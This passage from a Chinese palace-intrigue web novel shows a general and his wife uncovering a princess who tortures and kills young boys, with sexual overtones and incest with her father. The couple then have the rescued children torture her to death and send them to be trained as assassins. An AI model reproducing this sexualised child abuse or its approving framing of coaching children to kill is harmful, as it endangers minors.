“听闻今日在元乐长公主的赏菊宴,欣冉郡主羞辱我的夫人,辱骂夫人不过是上不得台面的贱妾,没资格参加宴会,不配与高贵的欣冉郡主共处............”
“本将军想问华山王一句,本将军奉旨娶亲,错了?”
“欣冉郡主有何资格、站在何等立场,给本将军的夫人难堪?”
“还请华山王回府后严加管教欣冉郡主,不希望再有下一回,因为本将军好不容易娶亲,自是护短。”
“不知,华山王可理解?”
第071章:将军今晚大有口福
华山王拂袖而去。
他,吵不过姜夜沉。
论权力,姜夜沉更胜一筹。
论高贵,华山王是正统血脉的皇族,姜夜沉的北疆王、陈青阳的南疆王,皆为异姓王。
但,华山王又不一样。
华山王乃禁卫军统领,是襄王府世子李明博的上封。
不过,华山王常年生活在封地锦绣城,禁卫军统领一职,徒有挂名,权力一直在副统领身上。
从前,禁卫军副统领是肖岭,其心偏向太子。
如今,禁卫军副统领是襄王府世子李明博,和锦衣卫一样,只忠心于皇帝。
宫门发生的事情,很快传到皇帝的耳中。
待姜夜沉踏入御书房,皇帝开口训道,“夜沉,不管怎么说,欣冉是皇家郡主,还是柔弱女子。”
“你这回,太残忍了些。”
“你要欣冉郡主怎么活?”
怎么活?
欣冉郡主做下的恶事,若不是皇家郡主这一层身份护着,早该死一万回了。
当然,欣冉郡主的事情,姜夜沉得揽在自己身上,皇帝维护他行事毒辣,但绝不会容忍徐慧珠“手段狠毒”。
姜夜沉解释道,“回禀皇上,欣冉郡主先是言语羞辱慧珠,又用糖果哄骗襄王幼子欲行不轨之事,凑巧被臣派去保护慧珠的锦衣卫发现。”
“那个孩子才八岁......”
皇帝震惊,“你......你是说小明轩?”
“前几日,朕与襄王闲话时,襄王显摆他的幺儿,还说在他生辰时,明轩亲自下厨做了一碗长寿面,虽然面煮糊了,盐也放多了点,却是他这一生吃过最美味的面。”
“小小年纪,孝心可嘉。”
姜夜沉接话,“是呀,万幸欣冉郡主没能得逞。”
“如若不然,欣冉郡主毁掉明轩事大,继而毁掉襄王府事更大。”
“皇上,欣冉郡主行事天理不容,轻轻教训一下,并无意义。如果有朝一日暴露,天下百姓又会如何看待皇上,皇族的名声将毁于一旦。
“臣一时气愤,便做得过分......”
君臣商议了一会儿正事,皇帝猛然想起姜夜沉刚刚说的话。
他叫的亲近,慧珠?
还派锦衣卫保护一个妾?
姜夜沉护“夫人”不说,还假公济私,并且不怕他知道。
皇帝气笑了。
但愿,姜夜沉娶了媳妇,不会忘了他该忠心的皇帝。
姜夜沉回到将军府时,大福一脸激动的凑上来,“将军,您今晚大有口福。”
“夫人亲自给您准备的热锅子,还有烤肉。”
“奴才先替您品尝,没毒。”
“味美。”
只见大福的手上拿着一串烤肉,嘴巴吃的油亮。
真真是没眼看。
丢人啊。
丢的还是他姜夜沉的脸。
“滚!”
偏偏,大福嘴贱,“将军,奴才觉得娶亲真好,咱们将军府自从有了夫人,不光有人气,还有烟火气,让人闻着味儿就想回家。”
“奴才......竟也忍不住动了成亲的念头,禁不住向往媳妇娃儿热炕头的生活......”
姜夜沉一向不怎么重食欲,但今晚破天荒吃撑了。
或许因为食物经徐慧珠的一双手准备,格外美味。
“将军,吃饱了?”
“陪我去华山王府消消食。”
也就徐慧珠敢说,膳后消食,跑到华山王府去。
“我要送欣冉郡主下地狱,一刻也不能等待,让欣冉郡主见到明日清晨的朝阳,就是我对生命的不敬。”
“将军,我需要你陪我去杀人,可好?”
徐慧珠气呼呼地磨刀,然后扔给他一把刀,一声指令,他冲锋陷阵,见着敌人就得砍死。
没办法,他刚吃了太多肉食,腹中撑胀的慌,此提议倒是不错。
他是该动一动,消消食了。
华山王府戒备生严,可今晚例外,护卫都被赶出后院。
先是欣冉郡主赶走护卫,还撂下狠话,谁敢靠近后院一步,挖掉谁的眼睛。
再是华山王回府,阴沉着一张脸,招来幕僚在书房商讨一个时辰,才踏入后院。
偌大的后院,唯有华山王和欣冉郡主父女两人。
徐慧珠和姜夜沉刚靠近后院,就闻到一股浓烈的血腥气。
房间里,地上跪着三个身上布满新鲜伤痕、抖成落叶的男童,不到十岁的年纪。
床榻上的男童,脑袋歪在床沿上,一双血眼死不瞑目。
“真无趣,这么快就玩死了。”
欣冉郡主半裸着身子,长发披散,手里把玩的皮鞭正往下滴血。
是床榻上不知何时断了气息的男童,他的血。
“下一个,谁来陪本郡主玩玩?”
“要不,三个小乖乖一起来,本郡主的床榻又宽敞又软绵。”
“哈哈哈......”
嘭的一声。
华山王怒气冲冲推开门,啪地打了欣冉郡主一耳光,“欣冉,谁给你的胆子在京城胡闹?”
“你惹谁不好,竟惹上襄王府?”
“那明轩不管怎么说,身上流着李氏皇族的血,万一事发,也不便遮掩。”
“我早就跟你说,来到京城,克制一些,待将来回到封地锦绣城,你随心所欲,我何时说过你半句。”
“欣冉,你......你太让我失望了。”
隐匿在暗影里的姜夜沉,感觉到怀里的女子,身子紧绷颤抖,散发愤怒的气息。
他轻轻捏捏徐慧珠的手。
原来,欣冉郡主的坏,根源在于华山王。
欣冉郡主在封地锦绣城,不知残害多少无辜男童。
他们还只是孩子,却丧命于欣冉郡主的变态嗜好里。
床榻上,身体早已僵硬的男童,不是第一个,也不是最后一个......
欣冉郡主扔下皮鞭,扑到华山王府怀里,嘤嘤哭泣,“父王说过,欣冉是你掌心里的珍宝。”
“可......可父王今天生气打了我,是不要我了吗?”
“如果父王不再怜我疼我爱我,就告诉我,我就离开父王,找一处悬崖,跳下去......呜呜呜......”
此刻,欣冉郡主衣不遮体,她却不管不顾在华山王的怀里扭动,双臂搂住华山王脖颈......
两个人贴的......好紧。
只见华山王的手,从欣冉郡主的背,一路滑到腰肢......
“欣冉,今日到底是怎么回事?”
欣冉郡主三言两语说完赏菊宴上发生的事情,“父王,都怪徐慧珠那个贱人,一个上不得台面的贱妾,竟敢跟我比尊贵。”
“我不喜她,出言教训一二,她该受着忍着便是,哪知是个嘴贱的贱人。”
“更恼火的是,襄王妃和元乐长公主还偏帮她......”
“我气不过,便想着回府宣泄,在假山旁瞧见明轩,他长得过分漂亮,又想到襄王妃处处维护徐慧珠那个贱人。”
“我......我当时脑子一热,便没能控制住自己。”
第072章:坏人千姿百态
两人就这么抱着,谁也不觉得尴尬,相反似是......享受其中。
“如此看来,害你的人,不是襄王府,就是姜夜沉,或许元乐长公主也不干净。”
“欣冉,为父知道你受了委屈,你很愤怒,但这里是京城,锦衣卫就跟狼狗似的嗅觉灵敏,只要一动,那些锦衣卫狗就闻着味咬上来。”
“欣冉,在回封地前,你就称病待在王府,哪里都不要出去,外面的事情,为父会妥善处理。”
欣冉郡主当着那么禁卫军的面,展露身体,若是寻常女子,恐怕早就羞的自缢了。
谁成想,这一对父女的脸皮,厚比城墙。
他们本就不在乎脸面,也不在意名声,所以才会搂抱在一起,沉溺于不伦。
父,不是父。
女,不是女。
“我不开心,我害怕。”
欣冉郡主搂住华山王的脖子,脸埋在华山王的脖子里,“父王,今晚留下来陪我,可好?”
华山王看了一眼跪在地上,早已吓傻的三名少年。
“欣冉,你先玩,要玩得开心。”
“待回到锦绣城,为父就给你搜罗更漂亮更精致的玩具。”
“乖啦,为父去书房处理完公务,就来陪你。”
徐慧珠捂住嘴巴。
胃里翻江倒海,可惜了晚膳吃下的肉食。
她被屋内的这对父女,恶心到胃疼。
果然应了那句老话:世上善人千篇一律,坏人千姿百态。
“还是父王疼我懂我。”
“父王是这天底下最好最好的男子。”
欣冉郡主前一瞬柔弱风情,下一瞬满脸狠毒,“父王,我实在讨厌徐慧珠那个贱人,不过一个下贱的妾室,颜色寡淡,身材平淡,上不得台面的货色,竟敢在我的面前显摆高贵。”
“父王,你得帮我出气,弄死徐慧珠那个贱人。”
“还有,我要小明轩......”
“好好好,都依你,只要你乖乖的。”华山王将怀里的欣冉郡主又搂得紧了些,眼里的欲色满溢。
终于熬到华山王离开。
欣冉公主应付完华山王,似是累到了,她慵懒地躺在床榻上,“来吧,小可爱,三个一起来,本郡主给你们吃甜滋滋的橘子糖。”
华山王倒是体贴,临走时,顺道拖走床榻上已死透的少年。
徐慧珠凑到姜夜沉的耳旁,“将军,我改变主意了。”
绑人这种粗活,姜夜沉亲自上阵。
杀鸡焉用牛刀。
徐慧珠用的顺手。
待欣冉郡主醒来,入眼是徐慧珠的脸。
“醒了?”
“徐慧珠,是你,贱人!”欣冉郡主想要挣扎着起身,却发觉浑身无力。
“啊......”
“贱人,你对我下药?”
“这是哪里?”
“你......你想要做什么?”
“贱人,你竟敢绑架本郡主,父王知道后会杀了你,杀了你!贱人!”
啪啪。
啪啪。
“欣冉郡主,你的问题太多,我先回复你哪一个?”徐慧珠捏住欣冉郡主的下巴,噼里啪啦又是赏赐一通耳光。
她的手极痒,看不得欣冉郡主这张令她恶心的脸。
美人变丑,瞧着顺眼些。
扇人耳光,感觉酸爽。
尤其是,像欣然郡主这样的贵人贵脸。
打完,滋补身心啊。
“将军,欣冉郡主又骂我是贱人,我撕烂她的嘴,打碎她的牙齿,如何?”
欣冉郡主这才看清楚,姜夜沉站在一旁。
“甚好。”
“夫人随意。”
“为夫相陪。”
“不!”欣冉郡主万万没想到,绑架她的竟是杀神将军姜夜沉。
欣冉郡主怕了。
她曾经很是不解,天下好男儿多得是,凝玉公主是什么眼光,偏偏看上杀人如麻的将夜沉,那一身血腥味,难闻至极,也让人恐惧。
“徐慧珠,你我无冤无仇,我不过是在赏菊宴上言语羞辱你几句,你若心里不悦,你现在骂我,哪怕再恶毒的言语,我保证不还口。”
“如此,还不行吗?”
“徐慧珠,只要你放了我,我......我明日就离开京城,保证不告诉任何人,亦不会让父王寻将军府的麻烦。”
徐慧珠不想听欣冉郡主说话,她的声音,同她的脸一样,让人作呕。
“徐慧珠,你......你放了我。求你......放了我,呜呜呜......”
欣冉郡主是个疯子,可惜,没几两骨头。
直到她看到三名少年。
她看到了什么?
少年原本惊恐的眼神,此刻已染上冰冷的杀意、恨意。
原本干净清澈的眸子浸染血色,原本嫩芽生长的身子却被折断。
这都是欣冉郡主造的孽。
孩童何其无辜?
“你们想不想杀她?敢不敢杀她?”姜夜沉开口便是诱杀。
“初次见面,我送给你们三人的见面礼,一人一把匕首,欣冉郡主将是你们杀的第一个人”
“你们会发现,其实杀人并不难,也并不觉得害怕。”
“即便是高高在上的贵人,临死之时,就是一头猪,或一条鱼。”
“一头猪吗?”个子最高的少年率先接过匕首,“我和阿娘去市场时,见过屠户宰杀猪。”
“我还悄悄去菜市口看刽子手砍死刑犯的头。”
“我不怕。”
接着,另外两名少年也大受鼓舞,从姜夜沉的手里接过匕首,紧紧攥着。
“我也不怕。”
“我也不怕。”
“不!”欣冉郡主失声尖叫。
“不,你们敢?”
“你们难道忘记死去的同伴吗?”
“你们敢伤害本郡主,就是死的下场。”
真是蠢。
欣冉郡主也就能过一会儿嘴瘾了。
还是个子最高的少年率先走向欣冉郡主,举起匕首,插进她的左眼。
“啊......”
然后,拔出匕首,一下又一下割掉她的长发,切掉她的手指。
他回头招呼同伴,“快来啊,杀死她,我们就能活。她......她不能动弹不得还手。快快快快,杀死她,我们就能活,就能活着。”
“啊......”
明明是年纪尚幼的孩童,此刻眼里闪烁着狠厉、兴奋、疯狂,这么多情绪刺激着小小的身体、脆弱的心脏。
徐慧珠看着三名少年包围住欣冉郡主,你一下,我一下,他一下,在欣冉郡主的身上刺下无数血窟窿。
得益于姜夜沉临时指导,三名少年虽手法笨拙,但都避开身体要害之处。
姜夜沉握住徐慧珠的手,“他们已不是温室里的花儿,那便做悬崖峭壁上的草,向阳而生。”
欣冉郡主痛的要死,却死不了......
这种感觉,很奇妙.......
第073章:不死不休
“徐慧珠,你......你?”
“贱人!贱人!”
欣冉郡主痛到感官麻木。
可是,真的好痛好痛。
“贱人,你有什么好得意的,凝玉公主说,姜夜沉不能人道,你嫁给他,还不是守活寡。”
“本郡主为你准备了好几个美男子,是南风馆里的头牌,保管让你在床榻上快活到不想下床......”
“凝玉公主说,待你一枝红杏出墙去,姜夜沉回头,还是觉得旧人好。”
徐慧珠心下明白,难怪她和欣冉郡主头一回见面,却被欣冉郡主百般羞辱。
这一切,竟拜凝玉公主所赐给。
“别着急,你会眼睁睁欣赏自己,一点一点死去。”
“哦,忘了告诉你,我喂你服下的药丸,百金一颗,我向来大方,给你服用一瓶,一共十颗呢。”
“疼痛翻倍,求生不得求死不能......”
“欣冉郡主,放心,你欠的千金,我家将军自会向华山王讨要。”
欣冉郡主用她仅剩的一只眼睛,死死盯着姜夜沉,“姜夜沉,你......你就不怕父王的报复吗?”
“我在父王的心里,是不同的,父王终会查到是你害了我。姜夜沉,父王会跟你不死不休。”
“姜夜沉,你当真不怕吗?”
“父王......父王......他......”
人之将死,姜夜沉不妨让欣冉郡主死个明白。
“这里是将军府的暗牢,华山王他再有能耐也不敢硬闯将军府......”
“不不不。”欣冉郡主怂的极快,“将......将军,只要你留我一命,我......我就告诉你父王在谋划的大事。”
秘密吗?
什么样的秘密能交换欣冉郡主的命?
“将军?”徐慧珠摇摇头。
她心有不甘。
她重活两世,杀过很多人,最终也被人杀死。但,这一刻的愤怒,她忍不下去。
姜夜沉答应她,今夜欣冉郡主必须死。
如果欣冉郡主说出的秘密,给出的筹码,足够诱惑姜夜沉改变主意。
她该怎么办?
顺姜夜沉的意,还是趁姜夜沉不备,杀了欣冉郡主?
“时辰到了,杀了她。”
“你......你......不......啊......”
欣冉郡主死了。
她生而高贵,视旁人为蝼蚁,哪会想到自己有朝一日遭受反噬。
杀她的人,是三名男童。
“将军,我......我以为......”徐慧珠心虚,她刚刚怀疑姜夜沉,“对不起,我......我该信任你。”
知错认错,徐慧珠的态度,让姜夜沉极其满意。
“徐慧珠,你说过的,你我夫妻一体。”
阿魂和大福悄无声息出现,默默处理现场,但这不妨碍姜夜沉说“情话”。
反正,对着尸体,闻着血腥味说情话,也毫无违和感。
“其实,皇上早就知道太子和华山王私下勾结,太子豢养的五万私兵就藏匿在华山王的封地锦绣城。”
“太子妃的死,陈青阳回京,恰好给皇上充分理由软禁太子。”
“太子软禁于东宫,明面上安危由锦衣卫守着,相当于断绝东宫和华山王的联系。”
“华山王自然着急,便借口为欣冉郡主相看亲事入京,暗里与太子取得联系,殊不知正合皇上的意。”
“华山王一旦入京,就身陷皇上的棋局,皇上自有无数法子将人耗在京城,为护龙卫首领曹文争取时间。”
“算算时间,曹文应该已经到了锦绣城,‘接管’那五万私兵。”
原来,姜夜沉早就知晓欣冉郡主要说的秘密。
早已不再是秘密。
还有什么价值。
徐慧珠知道,太子和华山王私下勾结,藏在锦绣城的五万私兵,定是姜夜沉查出来,再同皇上制定“围剿计划”。
姜夜沉留在京城,只怕也是为迷惑华山王。
“将军,我是不是打乱了皇上的计划?”徐慧珠更心虚了,“要是皇上知道?”
“欣冉郡主该死。徐慧珠,你是在为民除害,不管什么时候,有我在,时机都是刚刚好。”
姜夜沉不仅擅长说情话,也极会安慰人。
每一句话,都能说到她的心尖尖上。
这时,三名男童梳洗过,换了干净的衣裳。
“恩人。”
三名男童跪在地上,结实地磕了四个头。
“你们叫什么名字?可记得家在哪里?父母姓谁名谁?”
三名男童对视一眼,个子最高的男童答道,“回禀恩人,我们都是被父母卖掉,因为长得好看,卖了一百两银子。”
“求恩人收留,我们不想回家,在父母狠心卖掉我们的那一刻,我们......没有亲人,也没有家了。”
“回去,也可能被父母卖第二回、第三回......”
“求恩人赐名。”
世上有爱子女如命的父母,也有弃子女如垃圾的父母。
“夫人,你救了他们的命,便好心到底,给他们赐名,再给他们活路。”
徐慧珠哪能不明白,姜夜沉这是要三名男童深刻牢记,让他们新生的恩人,是她。
滴水之恩当涌泉相报。
那,救命之恩?
新生之恩呢?
“新金。”
“新木。”
“新水。”
“新,代表重生之意。”
“金木水,代表五行,亦是无穷尽的生机。”
三名男童跪拜认主。
“阿魂会培养你们成为合格的暗杀者,至少在生死面前,你们能有选择的机会。”
徐慧珠问出心中所想,“待成为暗杀者的那一日,给你们自由选择第一次执行的任务,我想知道,你们做什么?”
三名男童你看我,我看你。
新金站出来,“杀了给予我生命的人,再杀凌辱我的恶魔。那些人,只配活在地狱里。”
父母杀子。
子为何不能反杀?
新金说完,新木、新水也说出同样的话。
徐慧珠很满意“三新”的思想觉悟,生而为人,是为了在这世上活一遭,那些站在所谓道德制高点的“伪君子”高唱:“天下无不是父母”、“女子无才便是德”、“女子在家从父兄出嫁从夫婿”......
都是谬论。
都是歪门邪道。
都是天下之滑稽。
徐慧珠说,“你们只需相信自己,心中有信念,就一定能成功。”
云霄阁的暗杀者,是清一色的“孤儿”或父母亲人死绝,或如“三新”一般在亲人虽活着,也仅仅是活着。
认主之后,阿魂领着“三新”离开,在成为合格的暗杀者之前,他们不能见主。
应该说,是没资格......
第074章:家丑不得外传
徐慧珠的眼睛发亮,说明她的心情还不错。
她杀了该死之人,救了该活之人。
“将军,欣冉郡主凌辱男童、折磨人命,不管是生来坏种,还是华山王故意培养,她该死,但华山王更该死。”
她和华山王总归只见过两面,头一次是在演武场,她站在演武台上,远远相望。
当时,襄王妃感叹一句,“欣冉郡主被这么多男人看光身子,绝大多数家族所不容,一根绳子勒死了结。”
“但,人人皆知华山王疼女入骨,说不得是个例外。”
或许为应景,襄王妃刚感叹完,只见华山王扯掉欣冉郡主身上的披风,扔在地上。
然后取下自个儿的披风,亲手包裹住欣冉郡主的身体,抱起她离开。
徐慧珠总觉得哪里怪怪的。
直到徐慧珠第二回见到华山王,父女共处一室,一个衣衫半露手纯心勾引,一个手不安分有心享受,恶心的徐慧珠扶着姜夜沉的胳膊,吐的昏天暗地。
欣冉郡主的坏,天性使然,更得益于华山王刻意培养。
华山王为满足变态的私欲,亲手引诱欣冉郡主生长成一个只能依赖他、离不得他的恶魔。
唯有这样,他才能长长久久霸占她、享受她。
徐慧珠将自己的分析告诉姜夜沉,“将军可查过华山王?”
姜夜沉承认是他疏忽了,锦衣卫的关注点在于华山王为太子遮掩,在封地锦绣城偷摸豢养私兵。
华山王倒是豁得出去,锦绣城一半的税收都用在私兵上,不知道的,还以为太子跟华山王之间藏着更隐秘的关系。
后来,曹文和护龙卫接手,姜夜沉也不再管。
“慧珠,按照你所言,华山王乃欣冉郡主的供养,那华山王肯定一边以欣冉郡主的喜好高价买来男童,一边教导男童规矩。”
“若什么都懵懂的男童送到欣冉郡主的面前,只会惹的欣冉郡主厌烦。
“我会去信,请曹文查一查,锦绣城和周边城池近三两年卖进华山王府的男童,尤其是死契。”
“太子豢养私兵一事,皇上派曹文和护龙卫暗中行事,是因为皇上不愿这件事情闹大,闹的天下皆知。”
“太子豢养私兵,对皇上来说,难以接受事小,成为他国嘲笑、借口攻击安国事大。”
“家丑嘛,不得外传。”
先有太后娘娘背刺,再有太子背叛,身为帝王,哪个不是修炼一颗强大的心理。
为君者,以国家利益为先。
“两相比较,华山王和欣冉郡主的不伦,欣冉郡主嗜色男童......这等丑闻虽让李氏皇族蒙羞,究其根本,是个人私德沦丧、品行败坏。”
“龙生九子,九子各不同,哪国君王敢拍着胸口保证,他的皇族,一个个都是是干干净净、清清白白做人?”
姜夜沉蹭地一下站起身,抚上徐慧珠的脸颊,“我入宫一趟。”
“慧珠,你先暖好被窝。”
姜夜沉顶着一张严肃的俊颜,前一瞬说正事,下一瞬就不正经。
徐慧珠脸颊绯红。
不是羞的。
而是本能反应。
谁能招架住美男子的撩拨?
另一边,华山王在书房里查看东宫送来的密信,看过之后,一张脸越发阴沉,难看至极。
太子命令华山王想法子让姜夜沉犯错,或者能被皇帝派去外城办差。
若没有姜夜沉这条疯狗盯着,太子就能从东宫出来。
太子想用苦肉计,但姜夜沉在,莫说苦肉计能不能奏效,只怕姜夜沉一通搅和,苦肉计变成笑话。
当然,如果华山王够狠,能弄死姜夜沉,太子就更开怀。
“可笑!”
“堂堂国之储君竟惧怕下臣,传出去笑掉大牙。”
“呵,本王就不信邪,干脆这东宫储君让给姜夜沉做得了......”
华山王满脸怒色,随手撕碎密信。
传言太子妃突发恶疾,药石无灵,而太子悲痛欲绝,病的下不来床,没能出现在太子妃的丧礼上,顶着病体入住佛堂。
呵!这话也就骗骗愚昧的世人。
华山王根本不信。
他深知太子的秉性,打骂女人没错,但太子妃的身份特殊些,打伤可以,不能下手没个轻重,直接将人活生生打死。
这就过分了。
这时,暗卫来禀,“王爷,出事了。”
待华山王赶到欣冉郡主的房间,只见床榻上放着一封信。
“姜夜沉死,欣冉郡主安然无恙。”
华山王一掌震碎桌子,“太子尔敢?”
太子是个暴力狂,华山王知情。
华山王对欣冉郡主的龌龊欲望、病态占有,太子亦知情。
两人相互拿捏对方七寸。
有时,欣冉郡主想念京城口味,太子干脆命人绑架平民家的儿子,或小官府里的庶子,清一色漂亮,秘密送到锦绣城。
当然,华山王懂得礼尚往来。
太子时有惦念异域特色的美人儿,不同的美人儿,殴打起来手感自是不同。
华山王便会奉上无数美人,或养在东宫后院,或打着心腹的幌子娇养,供太子随时宣泄。
华山王以为太子借皇后娘娘之手,派人绑走欣冉郡主。
的确,他舍不得欣冉郡主,舍不得她受一点点委屈,也舍不得她受一丁点伤害。
他捧在心尖尖上千疼万爱的珍宝,谁也动不得分毫,哪怕皇后娘娘和太子都不行。
“来人。”
华山王话音刚落,隐匿在暗处的暗卫现身。
“传信给太子,只说一句话:银钱告急。”
本是坚固的同盟,若太子不留情面,妄想拿捏他华山王的软肋,逼迫于他,他亦不惧不怕。
迷香楼突然出事,断了太子的小半财路,原定送到锦绣城的银子,到现在还拖着。
谁学不会威胁似的。
徐慧珠震惊于姜夜沉心思缜密,他前脚入宫向皇帝禀告,大福便潜入华山王府留下密信。
好一处离间计。
徐慧珠好奇,“将军,太子对华山王非比寻常信任,才会把私兵秘密豢养于锦绣城。”
“将军就留下一句‘姜夜沉死,欣冉郡主安然无恙’,能挑拨他们的关系?”
姜夜沉接话,“建立在利益之上的关系看似牢靠,实则表面华丽内里空虚。”
正因为华山王了解太子的品德性情,短时间内他不会怀疑有异。”
“等他心有所疑之时,已经迟了。”
“真正坚不可摧的关系,像你我这般......坦诚相见。”
姜夜沉脱下衣袍,裸露身体,“我的背部受伤,还请夫人为我上药,我怕旁人觊觎我这么好的身材。”
“不如便宜夫人。”
第075章:夫人头一回蹲大狱
守在门口的大福:......
天地良心。
菩萨在上。
他何时觊觎过将军的身材?
再说,将军的身材极好,他大福的身材也不差啊。
与其觊觎将军的身材,何不对镜自赏。
徐慧珠惊呼,“将军先前急匆匆入宫,就为了挣一顿皮肉之苦?”
里衣已同皮肉粘连,徐慧珠取来剪刀,轻轻割开布料。
然后,用烈酒兑白水擦洗伤口。
她的手,抖得厉害。
她的眼泪,啪嗒啪嗒落下。
“皇上打了人,还不给一瓶止血药粉,无情又抠门。哼!”
姜夜沉匆匆入宫,不知同皇帝说了什么,触怒天颜,被锦衣卫抬着出宫。
听闻皇帝身边的大监李生德监刑,打的姜夜沉皮开肉绽,一路都在滴血。
一个人的身体到底存储多少鲜血量,会流多少流多久,才能死。
大福:完了完了,夫人这是怨了皇帝?
可,皇帝无辜啊。
向皇帝提议苦肉计的人,是将军。
邀请李生德监刑的人,也是将军。
要求打重打惨一些的人,还是将军。
李生德悄悄塞给将军一瓶止血药粉,却被将军转手递给大福,还不准大福上药,还问大福“我这样模样,够不够惨兮兮?”
大福差点脱口而出:将军此刻的模样,不仅惨兮兮,还贱兮兮。
大福的心里,两个小人儿正在打架。
要不要向夫人告密?
难道这就是传说中的“夫妻情趣”?
这一夜,世家大族的书房烛火燃至天明,纷纷猜测,姜夜沉要失势了吗?
华山王收到消息后,阴沉的脸上,浮现一抹更阴沉的笑容,感叹一句:天助我也。
太子刚砸完佛堂里的菩萨像,听闻姜夜沉被杖责的消息后,哈哈大笑,笑声格外阴森。
待太子笑够,他打开佛堂的小门。
“太子殿下,请止步。”锦衣卫言语恭敬,落在太子耳中的却无半点尊重。
啪啪。
太子欲打守门锦衣卫耳光。
可惜,落了空。
“姜夜沉是疯狗,锦衣卫统统是疯狗,呵,孤打你,竟敢躲?该死!”
“等孤......”
锦衣卫懒得听太子威胁,听得多了,威胁如同废话。
“太子殿下,请入佛堂。”
第二日的朝会,姜夜沉破天荒缺席。
皇帝满面寒霜坐在高位,很明显,龙心不悦。
罪魁祸首应该是姜夜沉。
朝臣一个个微垂着头,好奇心思倒是一致:姜夜沉到底做了什么事情,惹得皇帝动怒如此?
李生德尖锐的声音响彻御书房:有事启奏,无事退朝。
没人在这个档口触皇帝霉头,至于趁机落井下石,再踩一脚姜夜沉?
做大事者,忌讳着急。
得先静观其变为上策。
万一姜夜沉复宠,谁能承受住他的报复?
锦衣卫是疯狗,那姜夜沉就是疯狗王。
皇帝正欲起身,华山王出列,“回禀皇上,臣弟......要状告将军府妾室徐慧珠下药谋害皇家郡主。”
“皇上,欣冉身患离魂症没错,但欣冉平日里很乖,已经很久没犯病。”
“臣弟回府后仔细问过欣冉,她来京城之后,只和徐慧珠在元乐长公主的赏菊宴上发生过不愉快。”
“欣冉亲口说,是徐慧珠给她下药。徐慧珠还威胁欣冉,就算查出真相又如何?她仗姜夜沉的势,想欺辱谁,就毫无顾忌欺辱,反正有将军善后。”
“皇上,不管怎么说,欣冉是皇家公主啊,我李氏皇族的脸面,岂能被人踩在泥泞里?”
华山王先前还担心欣冉做下的事情曝光,襄王不会善罢甘休,皇帝也会顺势降罪。
他怕什么?
比起欣冉的名声,襄王更在意明轩公子的名声。就算欣冉郡主声名狼藉,他娇养一辈子便是,可明轩小公子呢?
明轩小公子毁不起。
华山王想通这一点后,就越发有恃无恐。他甚至后悔自己在皇帝面前扯谎,说欣冉身患离魂症。
该死的离魂症!
他怎么能咒欣冉呢。
如今太子绑走欣冉,华山王心里生有怨气,也不得不先着力对付姜夜沉。
皇帝对姜夜沉到底什么态度?先从弄死徐慧珠,来试探一二。
“哦?”
皇帝眯起眼睛。
“华山王可有证据?”
“回禀皇上,臣相信欣冉,她从不说谎。”华山王答的理直气壮。
黑白如何?欣冉郡主说了算?
“不是没有证据,而是姜夜沉已命锦衣卫抹干净痕迹。”
“臣弟在封地时,听闻京城的锦衣卫十分了不得。臣弟回京后,确实切身感受到了。”
“若不是姜夜沉势强,徐慧珠一介将军府妾室竟敢不敬皇家郡主,还敢明目张胆下药......”
“皇上,臣弟自知得罪不起姜夜沉,请求皇上严惩徐慧珠。”
“臣弟......叩谢皇恩。”
华山王当着满朝文武的面,状告将军府妾室徐慧珠谋害欣冉郡主。
没有提供证据。
全靠一张嘴皮子。
皇帝还是下令禁卫军围了将军府,至于徐慧珠下药谋害欣冉郡主一案,皇帝下旨由京城府官平大人审理。
说来,这是徐慧珠头一回蹲大牢。
有点儿新鲜。
大福抬着姜夜沉入宫求见皇帝,却被挡在宫门外,李生德当众不给姜夜沉脸面,“奉皇上口谕,将军若是不愿待在府里养伤,就去大牢里当个衙役,日日能见到自家夫人了。”
姜夜沉跪在地上,“臣......遵旨。”
姜夜沉拖着一身伤,走马上任京城府衙的一名看守。
当平义看到一身粗布官差服的姜夜沉,差点吓到跪下。
“下官见过将军。”平义只觉得脑子嗡嗡响,他的府衙庙小,如何容得下姜夜沉这座大佛。
“将军,这......这......”
平义倒是想问一句:将军这是唱的哪出戏?
“平大人过虑,在下奉旨当差,站在你面前的不是将军姜夜沉,而是衙差姜夜沉。”
“将军?”平义慌的满脑门子冷汗,“将军且放心,在下官的地盘,绝对不会委屈徐夫人。”
外面传疯了,都在说姜夜沉彻底失去皇宠,如若不然,堂堂战神将军、北疆之王、锦衣卫统领怎会被皇帝杖责一顿后,又贬到府衙当差,只是一名低等衙差,看守监狱的大门。
又说,徐慧珠是红颜祸水,专门来祸害姜夜沉,新婚不久,惹出祸端不小。
这不,仗势欺人,欺到铁板上,连累姜夜沉跟着吃挂落。
奈何,姜夜沉中了徐慧珠的毒,明明是砒霜,他却当作甜滋滋的蜜果子塞入口中。
不怕毒死。
或毒个半死吗?
第076章:奉劝牢头大人,莫轻视女子
姜夜沉拖着一身伤同徐慧珠在牢狱里上演妇唱夫随,她坐牢,他当差相陪。
徐慧珠也没闲着,先前宋家、苗府出的丑闻,一个比一个劲爆,一个比一个离大谱。
她以此为原型,创作数个版本的戏文,再让醉仙戏楼排成新戏演出,大赚数笔。
“劳烦将军下值后去一趟醉仙戏楼,把这三场戏文交给高尚管事,优先编排《潘金莲》,相信我,这出戏一经演出,绝对大火。”
徐慧珠那副气定神闲的模样,不是来蹲大牢,而是来游玩三两日,还不耽误她赚银子。
用她的话说,头一回在牢狱里创作,她简直是文思如泉涌啊。
“接下来几日,华山王定会有所动作,徐慧珠,你当真不怕?”
“怕啊,刀剑无眼,万一我被伤着,轻则受伤,重则丢命,我最怕疼了。”
“不过,有将军亲自护我......”
华山王回到王府,直接进的书房。
“今日府中可有异常?”华山王脸色阴沉,无不说明他的心情糟糕透顶。
“回禀王爷,并无异常。”暗零话音刚落,华山王一眼看见桌案上的密信。
“天赐良机,杀死姜夜沉。”
寻常铺子都能买到的纸,看不出来是谁都字迹,但华山王知道,这封密信绝对出自太子。
这世上恨极姜夜沉的人,恨不得姜夜沉死的人,太子排在首位。
谁的恨,都不及太子的恨。
啪。
“蠢货!”
啪啪。
啪啪。
华山王心里憋着怒火,脸色又黑又青,自是宣泄在暗零身上。
“有人出入王府,如同逛自家花园,本王养了一群只会消耗粮食的废物,竟毫无发现?”
“呵!好极了!”
华山王怒的是,太子那个疯子敢不计后果威胁他,原来因为他华山王不算作太子的底气和底牌。
太子手握另一股力量,太子的人能自由出入王府,也能悄无声息绑走欣冉,还能明晃晃威胁他。
太子打的一手好算盘,他不能冒险不能曝光实力,便把华山王当作马前卒吗?
岂有此理。
“奴才该死。”暗零跪在地上,任由华山王打骂。
他不疼。
应该说,他这样的人,在阴暗里挣扎,身体不会痛,心亦不会悲伤。
